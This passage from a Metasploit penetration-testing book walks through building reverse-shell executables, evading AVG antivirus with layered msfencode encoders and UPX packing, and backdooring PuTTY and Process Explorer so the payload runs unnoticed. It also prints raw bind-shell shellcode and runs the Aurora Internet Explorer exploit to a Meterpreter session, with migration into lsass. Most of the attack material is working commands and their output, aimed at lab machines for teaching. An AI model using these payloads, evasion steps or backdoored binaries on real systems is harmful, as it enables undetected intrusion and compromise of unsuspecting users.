Now let’s run msfpayload again and provide the options needed to create this payload in the Windows Portable Executable (PE) format. To do so, we provide the X option as shown at as our output format:

root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 X
>
varwww/payload1.exe
root@bt:/# file varwww/payload1.exe
var/www/payload1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Now we have a working executable, so we can start a listener with the multi/handler module in msfconsole. multi/handler allows Metasploit to listen for reverse connections.

msf > use exploit/multi/handler
msf exploit(handler) > show options

. . . SNIP . . .

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST 192.168.1.101 yes The local address
LPORT 4444 yes The local port

. . . SNIP . . .

msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) >

We first use the multi/handler module at and get a quick display of the options at . Then, we set our payload to be a Windows reverse shell at so that it matches the behavior of the executable we created earlier, tell it the IP at and the port to listen on at , and we’re ready to go.

Evading Antivirus Detection

We’ll use the popular AVG AntiVirus product in the following examples. Because it can take some time and multiple tries to circumvent certain antivirus engines, before we try to deploy a payload, we check the antivirus solution to make sure the payload gets past it before we deploy it on the target.

In this case, when we test our payload with AVG, we see that it’s detected, as shown in Figure 7-1.

Figure 7-1. AVG detected our payload.

Encoding with MSFencode

One of the best ways to avoid being stopped by antivirus software is to encode our payload with msfencode. Msfencode is a useful tool that alters the code in an executable so that it looks different to antivirus software but will still run the same way. Much as the binary attachment in email is encoded in Base64, msfencode encodes the original executable in a new binary. Then, when the executable is run, msfencode decodes the original code into memory and executes it.

You can use msfencode -h to see a list of msfencode usage options. Of the msfencode options, the encoder formats are among the most important. For a list of encoder formats, we use msfencode -l, as shown next. Notice that different encoders are used for different platforms, because, for example, a Power PC (PPC) encoder will not operate correctly on an x86 platform because of differences in the two architectures.

root@bt:/opt/framework3/msf3# msfencode -l

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/generic_sh good Generic Shell
Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low NonAlpha Encoder
x86/nonupper low NonUpper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Now we’ll run a simple encoding of an MSF payload by importing raw output from msfpayload into msfencode to see how the result affects our antivirus detection:

root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 R
|
msfencode -e x86/shikata_ga_nai -t exe
> varwww/payload2.exe
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

root@bt:/# file varwww/payload2.exe
varwww/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

We add the R flag at to the msfpayload command line to specify raw output, because we will pipe its output directly into msfencode. We specify the x86/shikata_ga_nai encoder at and tell msfencode to send the executable output -t exe to varwww/payload2.exe. Finally, we run a quick check at to ensure that the resulting file is in fact a Windows executable. The response tells us that it is. Unfortunately, after the payload2.exe file is copied over to the Windows system, AVG detects our encoded payload yet again, as shown in Figure 7-2.

Figure 7-2. AVG detected our encoded payload.

Multi-encoding

When we’re performing antivirus detection without modifying the static binary itself, it’s always a cat-and-mouse game, because antivirus signatures are frequently updated to detect new and changed payloads. Within the Framework, we can get better results through multi-encoding, which allows the payload to be encoded several times to throw off antivirus programs that check for signatures.

In the preceding example, the shikata_ga_nai encoding is polymorphic, meaning that the payload will change each time the script is run. Of course, the payload that an antivirus product will flag is a mystery: Every time you generate a payload, the same antivirus program can flag it once and miss it another time.

It is recommended that you test your script using an evaluation version of a product to see if it bypasses the antivirus software prior to using it in a penetration test. Here’s an example of using multiple encoding passes:

root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5
-t raw | msfencode -e x86/alpha_upper -c 2
-t raw | msfencode -e
x86/shikata_ga_nai -c 5
-t raw | msfencode -e x86/countdown -c 5

-t exe -o varwww/payload3.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)
[*] x86/alpha_upper succeeded with size 921 (iteration=1)
[*] x86/alpha_upper succeeded with size 1911 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1940 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 1969 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 1998 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 2027 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 2056 (iteration=5)
[*] x86/countdown succeeded with size 2074 (iteration=1)
[*] x86/countdown succeeded with size 2092 (iteration=2)
[*] x86/countdown succeeded with size 2110 (iteration=3)
[*] x86/countdown succeeded with size 2128 (iteration=4)
[*] x86/countdown succeeded with size 2146 (iteration=5)
root@bt:/opt/framework3/msf3#

Here we use five counts at of shikata_ga_nai, feeding the code in raw format at into two counts of alpha_upper encoding at , which is then fed to another five counts of shikata_ga_nai ,followed by five counts of countdown encoding at , before finally directing the output into the desired executable. We are using a total of 17 encoding loops in an attempt to circumvent the antivirus software. And, as you can see in Figure 7-3, we have successfully slipped our payload past the antivirus engine.

Figure 7-3. AVG has not detected the multi-encoded payload.

Custom Executable Templates

Typically, when msfencode is run, the payload is embedded into the default executable template at data/templates/template.exe. Although this template is changed on occasion, antivirus vendors still look for it when building signatures. However, msfencode now supports the use of any Windows executable in place of the default executable template via the -x option. In the following example, we encode our payload again using the Process Explorer from Microsoft’s Sysinternals Suite as a custom-executable template.

root@bt:/opt/framework3/msf3# wget http://download.sysinternals.com/Files/
ProcessExplorer.zip

. . . SNIP . . .

2011-03-21 17:14:46 (119 KB/s) - 'ProcessExplorer.zip' saved [1615732/1615732]

root@bt:/opt/framework3/msf3# cd work/
root@bt:/opt/framework3/msf3/work# unzip ../ProcessExplorer.zip
Archive: ../ProcessExplorer.zip
inflating: procexp.chm
inflating: procexp.exe
inflating: Eula.txt
root@bt:/opt/framework3/msf3/work# cd ..
root@bt:/opt/framework3/msf3# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x work/procexp.exe

-o varwww/pe_backdoor.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 396 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 423 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 450 (iteration=5)

As you can see, at we download Process Explorer from Microsoft then unzip it at . Then at we use the -x switch to specify the downloaded Process Explorer binary for use as our custom template. After encoding completes, we start up the multi-handler through msfcli to listen for the incoming connection, as shown here:

root@bt:/opt/framework3/msf3# msfcli exploit/multi/handler PAYLOAD=windows/
shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.1.101:8080
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.101:8080 -> 192.168.1.195:1191)

C:\Documents and Settings\Administrator\My Documents\Downloads>

And voilà: We have successfully opened a shell without being detected by antivirus software.

Figure 7-4. The backdoored executable is not detected by AVG.

Launching a Payload Stealthily

For the most part, when a targeted user launches a backdoored executable such as the one we just generated, nothing will appear to happen, and that can raise suspicions. To improve your chances of not tipping off a target, you can launch a payload while simultaneously continuing normal execution of the launched application, as shown here:

root@bt:/opt/framework3/msf3# wget http://the.earth.li/˜sgtatham/
putty/latest/x86/putty.exe

. . . SNIP . . .

2011-03-21 17:02:48 (133 KB/s) - 'putty.exe' saved [454656/454656]
root@bt:/opt/framework3/msf3# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x putty.exe -o var
www/putty_backdoor.exe -e x86/shikata_ga_nai -k -c 5
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 369 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 396 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 423 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 450 (iteration=5)

In this listing, we download the PuTTY Windows SSH client at and then access PuTTY using the -k flag at . The -k flag configures the payload to launch in a separate thread from the main executable so the application will behave normally while the payload is being executed. Now, as shown in Figure 7-5, when this executable is processed with AVG, it comes back clean and should execute while still presenting us with a shell! (This option may not work with all executables, so be sure to test yours before deployment.)

When choosing to embed a payload in an executable, you should consider using GUI-based applications if you’re not specifying the -k flag. If you embed a payload into a console-based application, when the payload is run, it will display a console window that won’t close until you’re finished using the payload. If you choose a GUI-based application and do not specify the -k flag, when the payload is executed, the target will not see a console window. Paying attention to these little details can help you remain stealthy during an engagement.

Figure 7-5. AVG declares the payload safe and the computer secure.

Packers

Packers are tools that compress an executable and combine it with decompression code. When this new executable is run, the decompression code re-creates the original executable from the compressed code before executing it. This usually happens transparently so the compressed executable can be used in exactly the same way as the original. The result of the packing process is a smaller executable that retains all the functionality of the original.

As with msfencode, packers change the structure of an executable. However, unlike the msfencode encoding process, which often increases the size of an executable, a carefully chosen packer will use various algorithms to both compress and encrypt an executable. Next, we use the popular UPX packer with Back|Track to compress and encode our payload3.exe payload in attempt to evade antivirus software detection.

root@bt:/# apt-get install upx

. . . SNIP . . .

root@bt:/# upx
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

. . . SNIP . . .

Type 'upx--help' for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit http://upx.sf.net
root@bt:/# upx −5 varwww/payload3.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th 2009

File size Ratio Format Name
-------------------- ------ ----------- -----------
37888 -> 22528 59.46% win32/pe payload3.exe

Packed 1 file.

At we install UPX, and then at we run UPX with no arguments to view its command line options. Then at we use the −5 option to compress and pack our executable. You can see at that UPX compresses our payload 59.46 percent.

In our tests, only 9 of 42 antivirus vendors detected the UPX-packed binaries.

Note

The PolyPack project (http://jon.oberheide.org/files/woot09-polypack.pdf) shows the results of packing known malicious binaries with various packers and the effectiveness of antivirus detection before and after the packing process.

Msf Venom

In this chapter we cover only the msfpayload and msfencode utilities, but there is an additional tool called msfvenom that combines the functionalities of msfpayload and msfencode in a simpler-to-use interface. Msfvenom is not covered in detail in this book (see Appendix B), but it should be very easy to use after you become familiar with msfpayload and msfencode.

A Final Note on Antivirus Software Evasion

The world of antivirus software moves very quickly, even by Internet standards. As of this writing, the methods and processes documented in this chapter work successfully; however, experience has shown that even a few months can bring major changes in how antivirus evasion is accomplished. Although the Metasploit team is constantly tweaking its payloads and attempts to stay one step ahead of detection algorithms, don’t be surprised if by the time you work through these examples, some work and some do not. When you’re attempting antivirus evasion, consider using multiple packers or encoders, as mentioned, or write your own. Antivirus evasion, like all penetration testing skills, needs to be practiced and requires dedicated research to help you ensure success in your engagements.

Chapter 8. Exploitation Using Client-Side Attacks

Years of focus on defensive network perimeters have drastically shrunk the traditional attack surfaces. When one avenue of attack becomes too difficult to penetrate, attackers can find new and easier methods for attacking their targets. Client-side attacks were the next evolution of attacks after network defenses became more prominent. These attacks target software commonly installed on computers in such programs as web browsers, PDF readers, and Microsoft Office applications. Because these programs are commonly installed on computers out of the box, they are obvious attack vectors for hackers. It’s also common for these applications to be out of date on users’ machines because of irregular patching cycles. Metasploit includes a number of built-in client-side exploits, which we’ll cover in depth in this chapter.

If you can bypass all the protective countermeasures a company has in place and infiltrate a network by tricking a user into clicking a malicious link, you have a much better chance of achieving a compromise. Suppose, for example, that you are performing a covert penetration test against a corporate target using social engineering. You decide that sending a phishing email to targeted users will present your best chance of success. You harvest email accounts, names, and phone numbers; browse social-networking sites; and create a list of known employees. Your malicious email instructs the email recipients that payroll information needs to be updated; they need to click a link (a malicious link) in the email to do this. However, as soon as the user clicks the link, the machine is compromised, and you can access the organization’s internal network.

This scenario is a common technique regularly leveraged in both penetration tests and actual malicious attacks. It is often easier to attack via users than it is to exploit Internet-facing resources. Most organizations spend a significant amount of money protecting their Internet-facing systems with tools such as intrusion prevention systems (IPSs) and web application firewalls, while not investing nearly as much in educating their users about social-engineering attacks.

In March 2011, RSA, a well-known security company, was compromised by an attacker leveraging this same process. A malicious attacker sent an extremely targeted (spear-phishing) email that was crafted specifically for an Adobe Flash zero-day vulnerability. (Spear-phishing is an attack whereby users are heavily researched and targeted rather than randomly chosen from a company address book.) In RSA’s case, the email targeted a small group of users and was able to compromise RSA’s internally connected systems and further penetrate its network.

Browser-Based Exploits

We’ll focus on browser-based exploits within Metasploit in this chapter. Browser-based exploits are important techniques, because in many organizations, users spend more time using their web browsers than using any other applications on their computers.

Consider another scenario: We send an email to a small group at an organization with a link that each user will click. The users click the link, and their browsers open to our website, which has been specially crafted to exploit a vulnerability in a certain version of Internet Explorer. The users’ browser application is susceptible to this exploit and is now compromised simply by users visiting our malicious website. On our end, access would be gained via a payload (Meterpreter, for example) running within the context of the user who visited the site.

Note one important element in this example: If the target user were running as an administrator, the attacker (we) would do the same. Client-side exploits traditionally run with the same permissions and rights as the target they exploit. Often this is a regular user without administrative privileges, so we would need to perform a privilege-escalation attack to obtain additional access, and an additional exploit would be necessary to elevate privileges. We could also potentially attack other systems on the network in hopes of gaining administrative-level access. In other cases, however, the current user’s permission levels are enough to achieve the infiltration. Consider your network situation: Is your important data accessible via user accounts? Or is it accessible only to the administrator account?

How Browser-Based Exploits Work

Browser exploits are similar to any traditional exploit but with one major difference: the method used for shellcode delivery. In a traditional exploit, the attacker’s entire goal is to gain remote code execution and deliver a malicious payload. In browser exploits, the most traditional way to gain remote code execution is through an exploitation technique called heap spraying. But before examining heap spraying in detail, let’s talk about what the heap is and how it’s used.

The heap is memory that is unallocated and used by the application as needed for the duration of the program’s runtime. The application will allocate whatever memory is necessary to complete whatever task is at hand. The heap is based on how much memory your computer has available and has used through the entire application’s life cycle. The location of memory allocated at runtime is not known in advance, so as attackers, we would not know where to place our shellcode. Hackers can’t simply call a memory address and hope to land at the payload — the randomness of memory allocated by the heap prevents this, and this randomness was a major challenge before heap spraying was discovered.

Before moving on, you also need to understand the concept of a no-operation instruction (NOP) and NOP slide. NOPs are covered in detail in Chapter 15, but we’ll cover the basics here because they are important to understanding how heap spraying works. A NOP is an assembly instruction that says, “Do nothing and move to the next instruction.” A NOP slide comprises multiple NOPs adjacent to each other in memory, basically taking up space. If a program’s execution flow encounters a series of NOP instructions, it will linearly “slide” down to the end of them to the next instruction. A NOP, in the Intel x86 architecture, has an opcode of 90, commonly seen in exploit code as \x90.

The heap spraying technique involves filling the heap with a known repeating pattern of NOP slides and your shellcode until you fill the entire memory space with this known value. You’ll recall that memory in the heap is dynamically allocated at program runtime. This is usually done via JavaScript, which causes the browser’s allocated memory to grow significantly. The attacker fills large blocks of memory with NOP slides and shellcode directly after them. When program execution flow is altered and randomly jumps somewhere into memory, there is a good chance of hitting a NOP slide and eventually hitting the shellcode. Instead of looking for a needle in a haystack — that is, the shellcode in memory — heap spraying offers an 85 to 90 percent chance of the exploit being successful.

This technique changed the game in browser exploitation and in the reliability of exploiting browser bugs. We will not be covering the actual code behind heap spraying, because it’s an advanced exploitation topic, but you should know the basics so that you can understand how these browser-based exploits work. Before we begin launching our first browser exploit, let’s look at what actually happens behind the scenes when an exploit is launched.

Looking at NOPs

Now that you understand the basics of a heap spray and a NOP, let’s take a look at a generic NOP slide in an actual exploit. In the following listing, notice the hexadecimal representation of \x90, the Intel x86 architecture opcode. A 90 in Intel x86 assembly is a NOP. Here you see a series of \x90s that create our NOP-slide effect. The rest of the code is the payload, such as a reverse shell or a Meterpreter shell.

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30
\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff
\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2
\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85
\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3
\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d
\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58
\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b
\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff
\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68
\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01
\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50
\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31
\xdb\x53\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\xc2
\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53
\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d
\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff
\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58
\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9
\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3

Using Immunity Debugger to Decipher NOP Shellcode

Debuggers offer a window into the running state of a program, including assembly instruction flow, memory contents, and exception details. Penetration testers leverage debuggers on a regular basis to identify zero-day vulnerabilities and to understand how an application works and how to attack it. A number of debuggers are out there, but our personal preference going forward (and used in later chapters) is Immunity Debugger. We recommend that you take a look at the basics of Immunity Debugger before proceeding.

To understand what a NOP slide does, let’s use a debugger to look at how the NOP shellcode in the preceding example works. On your Windows XP target, download and install Immunity Debugger from http://www.immunityinc.com/. We’ll use the msfpayload command to generate sample shellcode for a simple TCP bind shell, listening on port 443. As you learned in previous chapters, a bind shell simply listens on a port on a target machine to which we can connect.

root@bt:optframework3/msf3# msfpayload windows/shell/bind_tcp LPORT=443 C

When these commands are executed, “stage 1” and “stage 2” shellcodes are created in the output. We are concerned only with the stage 1 shellcode, because Metasploit will handle sending the second stage for us when we connect to it. Copy and paste the shellcode from stage 1 into a text editor of your choice. You’ll need to do some minor editing before proceeding.

Now that you have your basic shellcode, add as many NOPs as you want to the beginning of it (such as \x90\x90\x90\x90\x90). Then remove all \x occurrences so it looks similar to the following:

9090909090909090909090909090909090909090909090909
09090909090909090909090909090909090909090f
ce8890000006089e531d2648b52308b520c8b52148b72280fb74a26
31ff31c0ac3c617c022c20c1cf0d01c7e2f0
52578b52108b423c01d08b407885c0744a01d0508b48188
b582001d3e33c498b348b01d631ff31c0acc1cf0d01c
738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d
38b048b01d0894424245b5b61595a51ffe058
5f5a8b12eb865d6833320000687773325f54684c772607ffd5b8
9001000029c454506829806b00ffd5505050504
050405068ea0fdfe0ffd59731db5368020001bb89e66a105657
68c2db3767ffd5535768b7e938ffffd553535768
74ec3be1ffd5579768756e4d61ffd56a006a0456576802d9c85fffd58b
366a406800100000566a006858a453e5f
fd593536a005653576802d9c85fffd501c329c685f675ecc3

All this is necessary because you need to use a particular format so that Immunity Debugger will accept your copy-and-paste of assembly instructions. Now you have a bind shell with some NOPs in front of it for testing. Next, open up any executable — let’s use iexplore.exe for this example. Open Immunity Debugger, choose File ▸ Open, and point to an executable. You should see a number of assembly instructions in the main window (the largest one). Left-click the first instruction on the screen, and hold down shift while left-clicking to highlight about 300 instructions below it.

Copy the shellcode to the clipboard, and right-click in the Immunity Debugger window and choose Binary ▸ Binary paste. This will paste the assembly instructions from the example into the Immunity Debugger window. (Remember that we are doing this to identify how NOPs work and how assembly instructions are executed.)

You can see in Figure 8-1 that a number of NOPs are inserted; if you were to scroll down, you would see your shellcode.

When we first exported our shellcode in a bind_tcp format, the last instruction through stage 1 ended with ecc3. Locate the last set of memory instructions we added ending in ecc3.

Right after the ecc3, press F2 to create a breakpoint. When you add a breakpoint, once execution flow encounters it, program execution will pause and will not continue. This is important here, because the code still has a lot of the old remnants of the application we opened, and continuing would cause the application to crash, because we already inserted our own code into it. We want to stop and investigate what happened before the application crashes.

Figure 8-1. Examples of multiple NOPs that create the NOP slide

In the example in Figure 8-2, notice the last instruction set, which is a C3. That is the last instruction set in our bind shell that we need.

After that C3, press F2, which sets up another breakpoint. Now we’re ready to roll and see what happens. Go back to the very top, where you added your NOPs, and press F7, which tells the debugger to execute the next assembly command, stepping into your next assembly instruction. Notice that the highlight moves down one line. Nothing happened because you added a NOP.

Next, press F7 a few times to walk down the NOP slide. When you first arrive at the memory instructions, open up a command prompt and type netstat -an. Nothing should be listening on 443, and this is a good sign that your payload hasn’t executed yet.

Press F5 to continue running the rest of the application until it reaches the breakpoint that you set. You should see the breakpoint indicated in the lower-left corner of the Immunity Debugger window. At this point, you have executed your payload within the debugger, and you should now be able to check netstat -an and notice port 443 listening.

On a remote machine, try to telnet to the target machine on port 443. You’ll notice that nothing happens; this is because the listener hasn’t received the second stage from Metasploit yet. On your Back|Track VM, go into Metasploit and set up a multi-handler. This will tell Metasploit that a first-stage listener is on port 443 on the target machine.

Figure 8-2. The last part of our instruction set that we need

msf >use multi/handler
msf exploit(handler) >set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(handler) >set LPORT 443
LPORT => 443
msf exploit(handler) >set RHOST 192.168.33.130
RHOST => 192.168.33.130
msf exploit(handler) >exploit
[*] Starting the payload handler...
[*] Started bind handler
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.33.129:60463 -> 192.168.33.130:443)

You have reached a basic command shell! As a good practicing technique, try a stage 1 Meterpreter reverse and see if you can get a connection. When you are finished, simply close the Immunity Debugger window and you’re all done. It’s important that you get familiar with Immunity Debugger now, because we will be leveraging it in later chapters. Now let’s launch our first browser exploit that uses a heap spray.

Exploring the Internet Explorer Aurora Exploit

You know the basics of how heap sprays work and how you can dynamically allocate memory and fill the heap up with NOPs and shellcode. We’ll be leveraging an exploit that uses this technique and something found in nearly every client-side exploit. The browser exploit of choice here is the Aurora exploit (Microsoft Security Bulletin MS10-002). Aurora was most notoriously used in the attacks against Google and more than 20 other large technology companies. Although this exploit was released in early 2010, it particularly resonates with us because it took down some major players in the technology industry.

We’ll start by using the Aurora Metasploit module and then set our payload. The following commands should be familiar, because we have used them in previous chapters. You’ll also see a couple of new options that we’ll discuss in a bit.

msf > use windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of
SSL that should be used
(accepted: SSL2, SSL3, TLS1)
URIPATH
no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(ms10_002_aurora) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms10_002_aurora) > set URIPATH /
URIPATH => /
msf exploit(ms10_002_aurora) > set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(ms10_002_aurora) > set LPORT 443
LPORT => 443
msf exploit(ms10_002_aurora) > exploit -z
[*] Exploit running as background job.
msf exploit(ms10_002_aurora) >
[*] Started reverse handler on 192.168.33.129:443
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.33.129:80/
[*] Server started.

msf exploit(ms10_002_aurora) >

First, notice that the default setting for SRVHOST is 0.0.0.0: This means that the web server will bind to all interfaces. The SRVPORT at , 8080, is the port to which the targeted user needs to connect for the exploit to trigger. We will be using port 80 instead of 8080, however. We could also set up the server for SSL, but for this example, we’ll stick with standard HTTP. URIPATH is the URL the user will need to enter to trigger the vulnerability, and we set this to a slash (/) at .

With our settings defined, use your Windows XP virtual machine and connect to the attacker using http://<attacker’s IP address>. You’ll notice the machine becomes a bit sluggish. After a little waiting, you should see a Meterpreter shell. In the background, the heap spray was performed and the jump into the dynamic memory was executed, to hit your shellcode eventually. If you open Task Manager in Windows before you run this exploit, you can actually see the memory for iexplore.exe growing significantly based on the contact growth of the heap.

msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.33.130
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1161)

msf exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

You now have a Meterpreter shell, but there’s a slight problem. What if the targeted user closes the browser based on the sluggishness of her computer? You would effectively lose your session to the target, and although the exploit is successful, it would be cut off prematurely. Fortunately, there is a way around this: Simply type run migrate as soon as the connection is established, and hope that you make it in time. This Meterpreter script automatically migrates to the memory space of a separate process, usually lsass.exe, to improve the chances of keeping your shell open if the targeted user closes the originally exploited process.

meterpreter > run migrate
[*] Current server process: IEXPLORE.EXE (2120)
[*] Migrating to lsass.exe...
[*] Migrating into process ID 680
[*] New server process: lsass.exe (680)
meterpreter >

This is a pretty manual process. You can automate this whole process using some advanced options to migrate to a process automatically upon a successful shell. Type show advanced to list the advanced features of the Aurora module:

msf exploit(ms10_002_aurora) > show advanced

Module advanced options:

Name : ContextInformationFile
Current Setting:
Description : The information file that contains context information

Name : DisablePayloadHandler
Current Setting: false
Description : Disable the handler code for the selected payload

Name : EnableContextEncoding
Current Setting: false
Description : Use transient context when encoding payloads

Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module

Payload advanced options (windows/meterpreter/reverse_tcp):

Name : AutoLoadStdapi
Current Setting: true
Description : Automatically load the Stdapi extension

Name : AutoRunScript
Current Setting:
Description : A script to run automatically on session creation.

Name : AutoSystemInfo
Current Setting: true
Description : Automatically capture system information on initialization.

Name : InitialAutoRunScript
Current Setting:
Description : An initial script to run on session created (before AutoRunScript)

Name : ReverseConnectRetries
Current Setting: 5
Description : The number of connection attempts
to try before exiting the process
Name : WORKSPACE
Current Setting:
Description : Specify the workspace for this module

msf exploit(ms10_002_aurora) >

By setting these options, you can fine-tune a lot of the payload and exploit details. Now suppose you wanted to change the amount of tries a reverse connection would do. The default is 5, but you might be concerned with timeouts and want to increase the connection retries. Here, we set it to 10:

msf exploit(ms10_002_aurora) > set ReverseConnectRetries 10

In this case, you want to migrate automatically to a new process in case the targeted user closes the browser right away. Under the AutoRunScript, simply let Metasploit know to autorun a script as soon as a Meterpreter console is created. Using the migrate command with the -f switch tells Meterpreter to launch a new process automatically and migrate to it:

msf exploit(ms10_002_aurora) > set AutoRunScript migrate -f

Now attempt to run the exploit and see what happens. Try closing the connection and see if your Meterpreter session still stays active.

Since this is a browser-based exploit, you will most likely be running as a limited user account. Remember to issue the use priv and getsystem commands to attempt privilege escalation on the target machine.

That’s it! You just successfully executed your first client-side attack using a pretty famous exploit. Note that new exploits are frequently being released, so be sure to search for all the browser exploits and find which one best suits your needs for a particular target.

File Format Exploits

